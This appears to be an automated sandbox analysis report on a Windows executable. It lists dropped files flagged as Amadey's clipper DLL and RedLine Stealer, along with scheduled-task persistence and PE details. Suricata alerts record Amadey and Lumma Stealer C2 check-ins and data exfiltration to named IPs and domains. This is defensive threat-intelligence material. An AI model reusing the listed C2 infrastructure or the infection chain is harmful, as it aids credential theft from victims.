SHA-256:	82C683A7F6E0B4A99A6D3AB519D539A3B0651953C7A71F5309B9D08E4DAA7C3C
SHA-512:	96CFAFBAB9138517532621D0B5F3D4A529806CFDF6191C589E6FB6EBF471E9DF0777FB74E9ABBFE4E8CD8821944AD02B1F09775195E190EE8CA5D3FD151D20D9
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Amadey_3, Description: Yara detected Amadey\'s Clipper DLL, Source: C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 79%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........BS..,...,...,.../...,...).#.,..(...,../...,..)...,.......,...(...,...-...,...-.j.,.U.%...,.U.....,.U.....,.Rich..,.........PE..L...Q.-g.........................................@..........................0............@.................................@E...................................E......8...............................@...............<............................text............................... ..`.rdata..PH.......J..................@..@.data....m...`...,...B..............@....rsrc................n..............@..@.reloc...E.......F...p..............@..B........................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\c1ec479e5342a2\clip64.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	6.357506615036278
Encrypted:	false
SSDEEP:	3072:pdUmIYSBYZuziT7Sgmu1ErYn/YoZ3SNqkoZidU1epo:ABY7yASgb1ErY3Z3soodUwpo
MD5:	0D3418372C854EE228B78E16EA7059BE
SHA1:	C0A29D4E74D39308A50F4FD21D0CCA1F98CB02C1
SHA-256:	885BF0B3B12B77EF3F953FBB48DEF1B45079FAA2A4D574EE16AFDBAFA1DE3AC7
SHA-512:	E30DCED307E04AE664367A998CD1BA36349E99E363F70897B5D90C898DE2C69C393182C3AFBA63A74956B5E6F49F0635468E88ED31DD1E3C86C21E987DDD2C19
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Amadey_3, Description: Yara detected Amadey\'s Clipper DLL, Source: C:\Users\user\AppData\Roaming\c1ec479e5342a2\clip64.dll, Author: Joe Security Rule: loader_amadey_clipper_plugin, Description: Finds Amadey\'s clipper plugin based on characteristic strings, Source: C:\Users\user\AppData\Roaming\c1ec479e5342a2\clip64.dll, Author: Sekoia.io
Antivirus:	Antivirus: ReversingLabs, Detection: 92%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........P...................................................................@......@......@.~.....@......Rich............................PE..L...J.-g...........!.....D..........bp.......`...............................0............@.................................l...P...................................D...8...............................@............`..L............................text....C.......D.................. ..`.rdata...t...`...v...H..............@..@.data...............................@....rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\nhj43jrxzblOJXQMNIQ\DJj.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1020826001\I0XmI2t.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	307712
Entropy (8bit):	5.0826199033637005
Encrypted:	false
SSDEEP:	3072:5cZqf7D342p/0+mAAkygmgQEgHaB1fA0PuTVAtkxz53RAeqiOL2bBOA:5cZqf7DIOnwT2B1fA0GTV8krAL
MD5:	95B7A7CBC0AFF0215004C5A56EA5952C
SHA1:	A1FB08B02975EC4869BCAF387D09D0ABCCED27E9
SHA-256:	E9AA0B4540115B3DCEC3AF70B6DE27E54E4A0FA96D1D3CB33BAC121D804C1D61
SHA-512:	97AC66DE88CAC709E37D59C8A388C18D69AA3422D275BE3E28B92E87167BCD87A310125E7DCA593FE1B66D2F826CB2E22B64D51EAC07DC94981DCD123E906961
Malicious:	true
Yara Hits:	Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: C:\Users\user\AppData\Roaming\nhj43jrxzblOJXQMNIQ\DJj.exe, Author: Joe Security Rule: infostealer_win_redline_strings, Description: Finds Redline samples based on characteristic strings, Source: C:\Users\user\AppData\Roaming\nhj43jrxzblOJXQMNIQ\DJj.exe, Author: Sekoia.io
Antivirus:	Antivirus: ReversingLabs, Detection: 88%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....H(...............0.................. ... ....@.. ....................... ............@.....................................S.... ............................................................................... ............... ..H............text........ ...................... ..`.rsrc........ ......................@..@.reloc..............................@..B........................H....... ...............(w..............................................a.u.t.o.f.i.l.l.5.t.Y.W.R.q.a.W.V.o.a.m.h.h.a.m.J.8.W.W.9.y.b.2.l.X.Y.W.x.s.Z.X.Q.K.a.W.J.u.Z.W.p.k.Z.m.p.t.b.W.t.w.Y.2.5.s.c.G.V.i.a.2.x.t.b.m.t.v.Z.W.9.p.a.G.9.m.Z.W.N.8.V.H.J.v.b.m.x.p.b.m.s.K.a.m.J.k.Y.W.9.j.b.m.V.p.a.W.l.u.b.W.p.i.a.m.x.n.Y.W.x.o.Y.2.V.s.Z.2.J.l.a.m.1.u.a.W.R.8.T.m.l.m.d.H.l.X.Y.W.x.s.Z.X.Q.K.b.m.t.i.a.W.h.m.Y.m.V.v.Z.2.F.l.Y.W.9.l.a.G.x.l.Z.m.5.r.b.2.R.i.Z.W.Z.n.c.G.d.r.b.m.5.8.T.W.

C:\Users\user\Desktop\Cleaner.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Description string, Has Relative path, Icon number=0, Archive, ctime=Mon Dec 23 15:19:17 2024, mtime=Mon Dec 23 15:19:17 2024, atime=Mon Dec 23 15:19:17 2024, length=1502720, window=hide
Category:	dropped
Size (bytes):	2230
Entropy (8bit):	3.9142126404612076
Encrypted:	false
SSDEEP:	48:8fUoTeR4fjwwZ+vNaSdr4SdaZQqSdJLyg:88oy4sNNHRVLfy
MD5:	CAF6DA420875D864E19A14B12461E774
SHA1:	ADD5CE632F8C7FD5C292A97FE62078DA56DCD7BF
SHA-256:	A09B610D22A63D3A51DA71441FB0258837A1D2C17B214112CE49A1416ED0F350
SHA-512:	67722A0E6A7F69C36C8780B921E1E9D9F8C801A855228200C6BECC17115874CC58EFA75F5F89ED47EF5D294C246EF887CBF52D883E80F76FFB5B295F60202C25
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. .....#jVU....#jVU....#jVU..........................F.:..DG..Yr?.D..U..k0.&...&.......bBDj.......UU.././jVU......t...CFSF..1.....EWsG..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......EWsG.Y...........................=...A.p.p.D.a.t.a...B.P.1......Y]...Local.<......EWsG.Y]............................%.L.o.c.a.l.....N.1......Y]...Temp..:......EWsG.Y].............................T.e.m.p.......1......Yb...VSWEF4~1..j......Yb..Yb......>........................V.s.w.e.F.4.W.V.2.2.u.e.u.v.r.v.1.e.D.S.C.B.2.t.K.5.5.F.....h.2......Yi. .Y-CLEA~1.EXE..L......Yi..Yi.....<?....................~.^.Y.-.C.l.e.a.n.e.r...e.x.e.......z...............-.......y...................C:\Users\user\AppData\Local\Temp\VsweF4WV22ueuvrv1eDSCB2tK55F\Y-Cleaner.exe....M.a.k.e. .y.o.u.r. .P.C. .f.a.s.t.e.r.@.....\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.V.s.w.e.F.4.W.V.2.2.u.e.u.v.r.v.1.e.D.S.C.B.2.t.K.5.5.F.\.Y.-.C.l.e.a.n.e.r...e.x.e.K.C.:.\.U.s.e.r.s.\.t.i.n.a.\.A.p.p.D.a.t.a.\.L.

C:\Windows\Tasks\axplong.job

Download File

Process:	C:\Users\user\Desktop\fkawMJ7FH8.exe
File Type:	data
Category:	dropped
Size (bytes):	280
Entropy (8bit):	3.424071129583478
Encrypted:	false
SSDEEP:	6:VzrE0aVXflNyMsUEZ+lX1lOJUPelkDdtFYSoQI/uy0lw0ut0:VzrE0aRfqMsQ1lOmeeDQQI/uVw0ut0
MD5:	57CCB68758FD22473759808918643856
SHA1:	B3F0F041D28C72DD3002531DD9F19A601F72B82B
SHA-256:	23A8C993C85552C06ED9F9C53C567067FC224DB5905DB58C444CF0CDF478066E
SHA-512:	4F07161D1404935A9193406FE0C03F90621896DD2380238AA6307C61634F5E9010AEC7D1C5D53BEC07BC2300A9686523058A9811234F5E8055087072ED469678
Malicious:	false
Reputation:	unknown
Preview:	.......S.$IN.^. yV=.F.......<... .....s.......... ....................8.C.:.\.U.s.e.r.s.\.t.i.n.a.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.4.4.1.1.1.d.b.c.4.9.\.a.x.p.l.o.n.g...e.x.e.........T.I.N.A.-.P.C.\.t.i.n.a...................0...................@3P.........................

C:\Windows\Tasks\defnur.job

Download File

Process:	C:\Users\user\AppData\Local\Temp\1004899001\am209.exe
File Type:	data
Category:	dropped
Size (bytes):	278
Entropy (8bit):	3.3491878445333785
Encrypted:	false
SSDEEP:	6:auqXFMsUEZ+lX18GCk4M6tFYSoQI/uy0laEt0:CFMsQ18GV4MVQI/uVHt0
MD5:	DED37AFEA63E523FCCD55D9D29299DA2
SHA1:	1791A471B3C8734856C4FC3BE371B44D1FB617C0
SHA-256:	409EB6E1260158C80DBE45FCB1F7E6317B8C762F356FAEEF9796052D4BC2981C
SHA-512:	1D88095880EAA6DB5EBEBD4CD4A949B940D5485EDAF6B591554A615C91F5F39F9C0289F6C28D0A8AEBE853B2448CEA0A655C29002A56E2C80CD72ED1A2104620
Malicious:	false
Reputation:	unknown
Preview:	..........J.oy.....F.......<... .....s.......... ....................7.C.:.\.U.s.e.r.s.\.t.i.n.a.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.f.c.9.e.0.a.a.a.b.7.\.d.e.f.n.u.r...e.x.e.........T.I.N.A.-.P.C.\.t.i.n.a...................0...................@3P.........................

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\AppData\Local\Temp\1008386001\aec9ffe5ce.exe
File Type:	data
Category:	dropped
Size (bytes):	278
Entropy (8bit):	3.417930366570341
Encrypted:	false
SSDEEP:	6:GsihXFMsUEZ+lX1CGdKUe6tFYSoQI/uy0lRzt0:Gsi9FMsQ1CGAFVQI/uVRzt0
MD5:	8F0A9634A576C4246E38F50BA0CD1847
SHA1:	B03AEB5EFE7960A81DEC548EE9D8125FC8F2CA2F
SHA-256:	B274742DB1E58A8EEDE2536F7B280C4F07594B9AFAF2B6CCDA5EE39D9528036B
SHA-512:	9404C29F174186CBDE391A776203E53D8064BB09B2589E49BCE95ABB6EE47A0774587066CB76517C51EA8DFA3F217C552CD1DD9E3762DF1A9D6BDF07658B336F
Malicious:	false
Reputation:	unknown
Preview:	....n.6.j..G....,...F.......<... .....s.......... ....................7.C.:.\.U.s.e.r.s.\.t.i.n.a.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........T.I.N.A.-.P.C.\.t.i.n.a...................0...................@3P.........................

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.393762700695397
Encrypted:	false
SSDEEP:	6144:El4fiJoH0ncNXiUjt10quG/gaocYGBoaUMMhA2NX4WABlBuNA0OBSqa:84vFuMYQUMM6VFYS0U
MD5:	3DA770F78518E64806545ADDACD9160A
SHA1:	5A3B3BFD68C73DC385DABC8C9E55EC291B7013D6
SHA-256:	5FEC592CBEBC7EF51C3C150B52DBA5112D4C39C2739AE0075382B01854188C1A
SHA-512:	A11DFC53F1D9B83727F873D0340481F01D82EA73C9AAE9DC73B5AD46DFE971E5A1E0211A0BF4C74839510763A1AC0F40C1FCAD8C03458F720E9FF679FFC70D82
Malicious:	false
Reputation:	unknown
Preview:	regfG...G....\.Z.................... ....`......\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtmN(..VU...............................................................................................................................................................................................................................................................................................................................................w..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

\Device\ConDrv

Download File

Process:	C:\Users\user\AppData\Local\Temp\1020934001\mdjw5me.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	15
Entropy (8bit):	3.906890595608518
Encrypted:	false
SSDEEP:	3:SXhRi75n:SC5
MD5:	3A33AF4BC7DC9699EE324B91553C2B46
SHA1:	4CCE2BF1011CA006FAAB23506A349173ACC40434
SHA-256:	226D20C16ED4D8DDDFD00870E83E3B6EEDEDB86704A7BF43B5826B71D61500AE
SHA-512:	960194C8B60C086520D1A76B94F52BA88AC2DDEC76A18B2D7ABF758FFFF138E9EDD23E62D4375A34072B42FBA51C6D186554B1AA71D60835EF1E18BEB8873B1D
Malicious:	false
Reputation:	unknown
Preview:	1.29548Enjoy!..

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.948744446300884
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	fkawMJ7FH8.exe
File size:	1'897'472 bytes
MD5:	f6dda666a364b3ebd7628cbad0601cb8
SHA1:	e1b063a09268a6bcd74679d4d71118437fdcc986
SHA256:	51d36e8ab041d9bed637e4eb74400652bb95de582a0a178a8f5eab95bd0c22de
SHA512:	c9cbc87064c3e8054723eddb94235533c028ddfcab2d08c696bbd8e99aa351ae9f0797dfcd7797a05c2d2ac0b40020e526864422521e4a89b792be038e27d92c
SSDEEP:	49152:0KRWwn8TTEWh8VC9PXnTE/VMUeg8gwTO:0K4w8TTEgw/Vkg8TT
TLSH:	299533AA1D53B4B4C8CC5AFF15C9A7119C998B4D763E742A39AD7EBF03E6CF11085880
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........PJ.r>..r>..r>...=..r>...;.(r>.].:..r>.].=..r>.].;..r>...:..r>...?..r>..r?.^r>...7..r>......r>...<..r>.Rich.r>................

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x8b7000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66A240BE [Thu Jul 25 12:10:38 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007FAD015E964Ah
psrld mm3, qword ptr [eax+eax]
add byte ptr [eax], al
add byte ptr [eax], al
jmp 00007FAD015EB645h
add byte ptr [ebx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [0000000Ah], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ebx], al
or al, byte ptr [eax]
add byte ptr [0000000Ah], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx+00000080h], dh
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x6a057	0x6b	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x69000	0x4ac	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x4b52b0	0x10	snrlvfpm
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x4b5260	0x18	snrlvfpm
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x68000	0x2de00	724a7d844d5d6f9eee3b8ed18c7a1afb	False	0.9975359758174387	data	7.985933869345748	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x69000	0x4ac	0x400	04854942c3e2b7a7ff033a7494ed69ae	False	0.6123046875	data	5.132084373830889	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x6a000	0x1000	0x200	cc76e3822efdc911f469a3e3cc9ce9fe	False	0.1484375	data	1.0428145631430756	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x6b000	0x2ad000	0x200	91ac95e6f4e8a8de8fc97fc8eb212e44	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
snrlvfpm	0x318000	0x19e000	0x19d800	d60c875953849f70b982334d3b72e6ae	False	0.9942988588270859	data	7.953108663480486	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
qdkghlei	0x4b6000	0x1000	0x400	812a0e79c36d675b24d10da3bbbcdf32	False	0.6962890625	data	5.687327980795268	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x4b7000	0x3000	0x2200	c2872f23850fef721b0ba2a88dc9d4df	False	0.06479779411764706	DOS executable (COM)	0.7083940953839738	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x4b52c0	0x2bb	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators			0.4978540772532189
RT_MANIFEST	0x4b557b	0x17d	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.5931758530183727

Imports

DLL	Import
kernel32.dll	lstrcpy

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-23T17:16:04.961191+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.9	49708	185.215.113.16	80	TCP
2024-12-23T17:16:05.605559+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.16	80	192.168.2.9	49708	TCP
2024-12-23T17:16:06.068256+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.9	49708	185.215.113.16	80	TCP
2024-12-23T17:16:10.938673+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.9	49709	185.215.113.16	80	TCP
2024-12-23T17:16:11.378803+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.9	49709	185.215.113.16	80	TCP
2024-12-23T17:16:14.150762+0100	2058397	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (pancakedipyps .click)	1	192.168.2.9	64121	1.1.1.1	53	UDP
2024-12-23T17:16:15.000190+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.9	49711	185.215.113.16	80	TCP
2024-12-23T17:16:15.438634+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.9	49711	185.215.113.16	80	TCP
2024-12-23T17:16:15.703049+0100	2058398	ET MALWARE Observed Win32/Lumma Stealer Related Domain (pancakedipyps .click in TLS SNI)	1	192.168.2.9	49712	172.67.209.202	443	TCP
2024-12-23T17:16:15.703049+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.9	49712	172.67.209.202	443	TCP
2024-12-23T17:16:16.446096+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.9	49712	172.67.209.202	443	TCP
2024-12-23T17:16:16.446096+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.9	49712	172.67.209.202	443	TCP
2024-12-23T17:16:17.696725+0100	2058398	ET MALWARE Observed Win32/Lumma Stealer Related Domain (pancakedipyps .click in TLS SNI)	1	192.168.2.9	49713	172.67.209.202	443	TCP
2024-12-23T17:16:17.696725+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.9	49713	172.67.209.202	443	TCP
2024-12-23T17:16:18.471551+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.9	49713	172.67.209.202	443	TCP
2024-12-23T17:16:18.471551+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.9	49713	172.67.209.202	443	TCP
2024-12-23T17:16:19.227289+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.9	49714	185.215.113.16	80	TCP
2024-12-23T17:16:20.397458+0100	2058398	ET MALWARE Observed Win32/Lumma Stealer Related Domain (pancakedipyps .click in TLS SNI)	1	192.168.2.9	49715	172.67.209.202	443	TCP
2024-12-23T17:16:20.397458+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.9	49715	172.67.209.202	443	TCP
2024-12-23T17:16:21.466682+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.9	49715	172.67.209.202	443	TCP
2024-12-23T17:16:21.928419+0100	2058362	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (energyaffai .lat)	1	192.168.2.9	61409	1.1.1.1	53	UDP
2024-12-23T17:16:22.327294+0100	2058364	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (grannyejh .lat)	1	192.168.2.9	55062	1.1.1.1	53	UDP
2024-12-23T17:16:22.561745+0100	2058360	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (discokeyus .lat)	1	192.168.2.9	61832	1.1.1.1	53	UDP
2024-12-23T17:16:22.780697+0100	2058370	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (necklacebudi .lat)	1	192.168.2.9	50607	1.1.1.1	53	UDP
2024-12-23T17:16:22.862638+0100	2058398	ET MALWARE Observed Win32/Lumma Stealer Related Domain (pancakedipyps .click in TLS SNI)	1	192.168.2.9	49717	172.67.209.202	443	TCP
2024-12-23T17:16:22.862638+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.9	49717	172.67.209.202	443	TCP
2024-12-23T17:16:22.869665+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.9	49716	185.166.143.48	443	TCP
2024-12-23T17:16:23.062401+0100	2058354	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (aspecteirs .lat)	1	192.168.2.9	58622	1.1.1.1	53	UDP
2024-12-23T17:16:23.405829+0100	2058376	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sustainskelet .lat)	1	192.168.2.9	54757	1.1.1.1	53	UDP
2024-12-23T17:16:23.891166+0100	2058358	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crosshuaht .lat)	1	192.168.2.9	59738	1.1.1.1	53	UDP
2024-12-23T17:16:24.129112+0100	2058374	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (rapeflowwj .lat)	1	192.168.2.9	50062	1.1.1.1	53	UDP
2024-12-23T17:16:25.689063+0100	2058398	ET MALWARE Observed Win32/Lumma Stealer Related Domain (pancakedipyps .click in TLS SNI)	1	192.168.2.9	49719	172.67.209.202	443	TCP
2024-12-23T17:16:25.689063+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.9	49719	172.67.209.202	443	TCP
2024-12-23T17:16:25.992116+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.9	49720	104.121.10.34	443	TCP
2024-12-23T17:16:26.795531+0100	2858666	ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup	1	192.168.2.9	49720	104.121.10.34	443	TCP
2024-12-23T17:16:28.879970+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.9	49721	172.67.157.254	443	TCP
2024-12-23T17:16:29.088147+0100	2058398	ET MALWARE Observed Win32/Lumma Stealer Related Domain (pancakedipyps .click in TLS SNI)	1	192.168.2.9	49722	172.67.209.202	443	TCP
2024-12-23T17:16:29.088147+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.9	49722	172.67.209.202	443	TCP
2024-12-23T17:16:29.636421+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.9	49721	172.67.157.254	443	TCP
2024-12-23T17:16:29.636421+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.9	49721	172.67.157.254	443	TCP
2024-12-23T17:16:29.919505+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.9	49724	172.67.157.254	443	TCP
2024-12-23T17:16:29.998216+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.9	49723	185.215.113.16	80	TCP
2024-12-23T17:16:30.439669+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.9	49723	185.215.113.16	80	TCP
2024-12-23T17:16:33.040296+0100	2058398	ET MALWARE Observed Win32/Lumma Stealer Related Domain (pancakedipyps .click in TLS SNI)	1	192.168.2.9	49725	172.67.209.202	443	TCP
2024-12-23T17:16:33.040296+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.9	49725	172.67.209.202	443	TCP
2024-12-23T17:16:33.722208+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.9	49727	185.215.113.16	80	TCP
2024-12-23T17:16:34.181964+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.9	49727	185.215.113.16	80	TCP
2024-12-23T17:16:36.615959+0100	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.9	49726	135.181.65.216	443	TCP
2024-12-23T17:16:39.163104+0100	2058398	ET MALWARE Observed Win32/Lumma Stealer Related Domain (pancakedipyps .click in TLS SNI)	1	192.168.2.9	49729	172.67.209.202	443	TCP
2024-12-23T17:16:39.163104+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.9	49729	172.67.209.202	443	TCP
2024-12-23T17:16:39.958233+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.9	49729	172.67.209.202	443	TCP
